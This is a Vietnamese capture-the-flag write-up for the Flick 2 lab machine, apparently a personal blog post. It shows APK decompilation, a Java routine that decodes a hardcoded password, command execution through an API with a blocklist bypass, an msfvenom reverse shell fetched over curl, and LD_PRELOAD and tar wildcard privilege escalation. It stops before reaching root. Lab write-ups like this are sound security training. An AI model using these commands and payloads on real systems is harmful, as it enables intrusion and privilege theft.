[VulnHub] Flick 2

Overview

Link download: FLICK: 2
Difficulty: Intermediate (Depends on experience)

IP Victim: 192.168.56.104
IP Attacker: 192.167.56.102

Information Gathering

Trong thư mục đề bài có 3 file gồm:

  • flick-check-dist.apk
  • flickII-dist.ova
  • README

Mục đích của bài là dịch ngược và phân tích mã nguồn của file APK, và dùng cách vi diệu nào đó để tấn công và chiếm quyền điều khiển của máy mục tiêu.
Kết quả scan nmap máy mục tiêu đéo đem lại gì khả quan vì nó mở đúng 1 port 443.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ nmap -p- -sC -sV 192.168.56.104
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-23 05:34 EDT
Nmap scan report for 192.168.56.104
Host is up (0.00055s latency).

PORT STATE SERVICE VERSION
443/tcp open ssl/https nginx/1.6.3
|_http-server-header: nginx/1.6.3
|_http-title: 400 The plain HTTP request was sent to HTTPS port
| ssl-cert: Subject: commonName=flick.local/organizationName=Flick/stateOrProvinceName=North South/countryName=ZA
| Not valid before: 2015-06-23T14:43:54
|_Not valid after: 2024-09-08T14:43:54
|_ssl-date: 2021-06-23T16:34:57+00:00; +6h59m59s from scanner time.
| tls-nextprotoneg:
|_ http/1.1

Host script results:
|_clock-skew: 6h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds

Dễ nhận thấy dịch vụ chạy trêng port 443 HTTPS, là một API service để từ ứng dụng cài đặt từ file APK kia kết nối tới.
Cài đặt ứng dụng xem nó làm cái vẹo gì đã.

Hmm…
Có vẻ như cái app này đang chạy lệnh trực tiếp lên máy mục tiêu, vậy nên nếu tôi biết được API endpoint, tôi cũng có thể thực thi lệnh trực tiếp trên máy mục tiêu, RCE ez!
Vấn đề là giờ phải tìm được API endpoint. Xời, đọc mã nguồn thôi!
Dùng JADX (https://github.com/skylot/jadx) để decompiler file APK này, tôi nhận được mã nguồn ở dạng code Java cực kỳ dễ đọc. (Repo hơn 26k star Github có khác, uy tín vl).

Source code analytics

Trong CommandActivity.java, dòng 147, class SSHCommand, có thể nhận thấy task đang thực hiện kết nối SSH để thực hiện lệnh, với user robin, mật khẩu được truyền vào từ hàm validate() dòng 138. Tại hàm validate() có tham số input, khi được gọi, biến được truyền vào là (dòng 33):

1
String integrity_check = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ==";


Có thể thấy ngay output của hàm validate() chính là mật khẩu của user robin, dễ vl, code lại một chút là lấy được mật khẩu, ez.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.util.Base64;

public class ExploitFlick {

public static void main(String []args){
String input = "YFhaRBMNFRQDFxJEFlFDExIDVUMGEhcLAUNFBVdWQGFeXBIVWEsZWQ==";
String text = new String(Base64.getDecoder().decode(input.getBytes()));
String password = validate(text);
System.out.println(password);
}

public static String validate(String input) {
char[] key = {'T', 'h', 'i', 's', ' ', 'i', 's', ' ', 'a', ' ', 's', 'u', 'p', 'e', 'r', ' ', 's', 'e', 'c', 'r', 'e', 't', ' ', 'm', 'e', 's', 's', 'a', 'g', 'e', '!'};
StringBuilder output = new StringBuilder();
for (int i = 0; i < input.length(); i++) {
output.append((char) (input.charAt(i) ^ key[i % key.length]));
}
return output.toString();
}
}

// 40373df4b7a1f413af61cf7fd06d03a565a51898

Lấy được tài khoản trên máy mục tiêu là robin:40373df4b7a1f413af61cf7fd06d03a565a51898
Ơ nhưng mà lịt pẹ, máy mục tiêu mở độc 1 port duy nhất là 443, có thông tin đăng nhập SSH cũng không đăng nhập được vì dịch vụ SSH không mở :/
Ngán ngẩm quay lại với đống mã nguồn…
Tại dòng 41, trong hàm onCreate() file DoRegisterActivity.java, có thể thấy một endpoint cho phép đăng ký thiết bị.

Kéo xuống một chút, sau khi đã biết được endpoint, giờ thì phải xem API endpoint này yêu cầu những param gì, method gì,… mất khoảng 30s ngắm nghía, tôi nhận ra endpoint này chỉ yêu cầu mỗi param uuid và dữ liệu gửi lên dạng JSON với phương thức POST.

He, mở Postman lên bắn request luôn.

Postman


Okay, reponse trả về cho thấy có vẻ tôi đã đăng ký thiết bị thành công với
UUID = 1, token = FmOBOJSrsOw8aaCZtrT1Ro1DSPBRSE11
Giờ thì phải tìm hiểu xem cái token mà máy chủ dịch vụ cấp cho tôi được dùng để làm việc gì.
Ngồi ngâm code và uống C sủi, nhận thấy một endpoint cho phép thực thi lệnh trong CommandActivity.java, có thể đây chính là endpoint mà app đã dùng để thực thi lệnh, với các param header X-UUIDX-TOKEN, 2 param header này chính là UUID và token mà tôi đã có ở trên. Lệnh thực thi được mã hoá với base64 và nối vào cuối URI.

Bây giờ tôi sẽ thử thực thi lệnh id có mã base64 là aWQ=.

Ngon luôn!
Giờ thì xem xem trên máy mục tiêu có python không, để chạy lệnh và lấy reverse shell.
which python

1
2
3
4
{
"status": "error",
"output": "Command 'which python' contains a banned command."
}

Ầu men, câu lệnh bị chặn cmnr. Có thể là chặn theo Black list, vì các lệnh như w, lscpu, id, free, ping, curl, cp vẫn có thể thực hiện ngon lành. Kệ đi, tạo reverse shell ELF rồi tải vào máy mục tiêu cái đã. Với lệnh lscpu, có thể nhận thấy máy chủ đang chạy là Linux x64.

Command Execution to nginx shell

Tạo một file thực thi để lấy reverse shell.

1
$ msfvenom -p linux/x64/shell_reverse_tcp LPORT=443 LHOST=192.168.56.102 -f elf -o duma443.elf

Chạy HTTP server trên máy của tôi và thực thi lệnh curl trên máy mục tiêu để lấy file duma443.elf về máy mục tiêu.

Có request từ máy mục tiêu (IP 192.168.56.104)

Set quyền thực thi cho file /tmp/duma443.elf, nhưng…

1
2
3
4
{
"status": "error",
"output": "Command 'chmod +x /tmp/duma443.elf' contains a banned command."
}

Mẹ nó, chmod nằm trong Black list.
Vuốt râu một lúc, tôi nhận ra là tôi đang không biết máy mục tiêu đang chặn lệnh thực thi như thế nào? Có thật là Black list? Hay dùng regex để detect ra chuỗi có trong Black list? Có một cách để biết được điều này, là thử dùng đường dẫn tuyệt đối.
Bây giờ không dùng chmod nữa, mà dùng /usr/bin/chmod, nếu lệnh /usr/bin/chmod vẫn bị ban, thì có nghĩa là API endpoint đang detect theo regex, nhưng nếu không bị ban, thì có lẽ API endpoint chỉ đang chặn theo word. Try it!
/usr/bin/chmod +x /tmp/duma443.elf

Chặn gà vl!
Bậy lắng nghe trên port 443 và lấy reverse shell.
/tmp/duma443.elf

1
2
3
4
5
6
7
8
9
$ nc -lnvp 443              
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 192.168.56.104.
Ncat: Connection from 192.168.56.104:52785.
bash-4.2$ id
id
uid=998(nginx) gid=997(nginx) groups=997(nginx)

Sử dụng thông tin đăng nhập vào user robin đã lấy được ở trên, login vào.

Privilege Escalation

nginx to robin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bash-4.2$ su robin
su robin
Password: 40373df4b7a1f413af61cf7fd06d03a565a51898

[robin@fII public]$ id
id
uid=1000(robin) gid=1000(robin) groups=1000(robin)

[robin@fII public]$ sudo -l
sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898

Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice

User robin có thể chạy /usr/local/bin/dice với quyền của bryan, thêm nữa là cả env_keep+=LD_PRELOAD, mèn ơi… leo lên quyền của bryan thôi.

robin to bryan

Leo thang đặc quyền với LD_PRELOAD
https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

1
2
3
4
5
[robin@fII ~]$ sudo -u bryan LD_PRELOAD=/home/robin/s.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
sh-4.2$ bash
[bryan@fII robin]$ id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)

Tải linpeas vào máy mục tiêu, kết quả cho ra có đoạn:

Với linpeas, để ý thấy /usr/local/bin/backup được lập lịch chạy lúc 23h hàng ngày, kiểm tra thông tin về file này và chạy xem nó ra cái gì…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[bryan@fII ~]$ file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 64-bit LSB shared object, x86-64,
version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32,
BuildID[sha1]=0xc3cbb4476467a324fd93e428225dbedb5df5e2d3, not stripped

[bryan@fII ~]$ /usr/local/bin/backup
* Securing environment
* Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
logs/
logs/.gitignore
logs/lumen.log
* Backup done!

Hmm… có vẻ như /usr/local/bin/backup đang thực hiện nén hết cái list file và folder kia vào đâu đấy, nhưng đâu là đâu?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[bryan@fII ~]$ strings /usr/local/bin/backup
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setresgid
setresuid
system
__cxa_finalize
__libc_start_main
_edata
__bss_start
_end
_ITM_deregisterTMCloneTable
__gmon_start__
_Jv_RegisterClasses
_ITM_registerTMCloneTable
GLIBC_2.2.5
5B
%D
%B
%:
%2
%*
%"
fffff.
[]A\A]A^A_
* Securing environment
* Backup done!
* Performing database backup...
PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +"%Y%m%d").tar.gz *;
;*3$"

Èn, câu lệnh dưới cùng dễ thấy ngay /usr/local/bin/backup nén toàn bộ thư mục /usr/share/nginx/serverchecker/storage vào /home/sean/backup_$(/bin/date +"%Y%m%d").tar.gz =)) nảy ngay đến một từ khoá trong đầu, Wildcard!

bryan to sean

https://www.hackingarticles.in/exploiting-wildcard-for-privilege-escalation/
Khi truy cập vào đường dẫn /usr/share/nginx/serverchecker/storage, thư mục này là của user nginx, các user khác đéo có quyền ghi vào đây, ờ, thế à, thế giờ tôi sẽ set luôn permission 777 cho cái thư mục này với Postman, vì low-shell đầu tiên được chạy bởi user nginx.

Giờ thì các user khác thoải mái đọc ghi luôn :D exploit leo quyền!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[bryan@fII storage]$ echo "" > "--checkpoint-action=exec=sh -p"
[bryan@fII storage]$ echo "" > --checkpoint=1
[bryan@fII storage]$ ls -al
total 24
drwxrwxrwx. 5 nginx nginx 4096 Jun 25 19:24 .
drwxrwxrwx. 10 nginx nginx 4096 Jun 22 2015 ..
drwxrwxrwx. 2 nginx nginx 23 Jun 22 2015 app
-rw-rw-r-- 1 bryan bryan 1 Jun 25 19:24 --checkpoint=1
-rw-rw-r-- 1 bryan bryan 1 Jun 25 19:24 --checkpoint-action=exec=sh -p
-rwxrwxrwx. 1 nginx nginx 6144 Jun 25 16:42 database.sqlite
drwxrwxrwx. 5 nginx nginx 45 Jun 22 2015 framework
drwxrwxrwx. 2 nginx nginx 39 Jun 22 2015 logs
[bryan@fII storage]$ /usr/local/bin/backup
* Securing environment
* Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
sh-4.2$ id
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)

Có shell của sean, tiếp tục để đạt cảnh giới cuối cùng của bài này là root.

sean to root

Trong thư mục /usr/local/bin/ có file restore được set SUID root, và có group sean, như vậy user sean có thể chạy file restore với quyền root. Nếu exploit được đoạn này, tôi có thể có quyền root.

1
2
3
4
5
6
7
8
9
bash-4.2$ cd /usr/local/bin/
bash-4.2$ ls -al
total 1960
drwxr-xr-x. 2 root root 59 Aug 17 2015 .
drwxr-xr-x. 12 root root 4096 Jun 22 2015 ..
-rwsr-x---. 1 sean bryan 8830 Jul 2 2015 backup
-rwxr-xr-x. 1 root root 1107672 Jun 22 2015 composer
-rwx--x--x. 1 root root 8830 Jul 2 2015 dice
-rwsr-x--- 1 root sean 866169 Aug 15 2015 restore

Nhưng tôi đéo :)) làm đến đây tạm tịt. Update sau…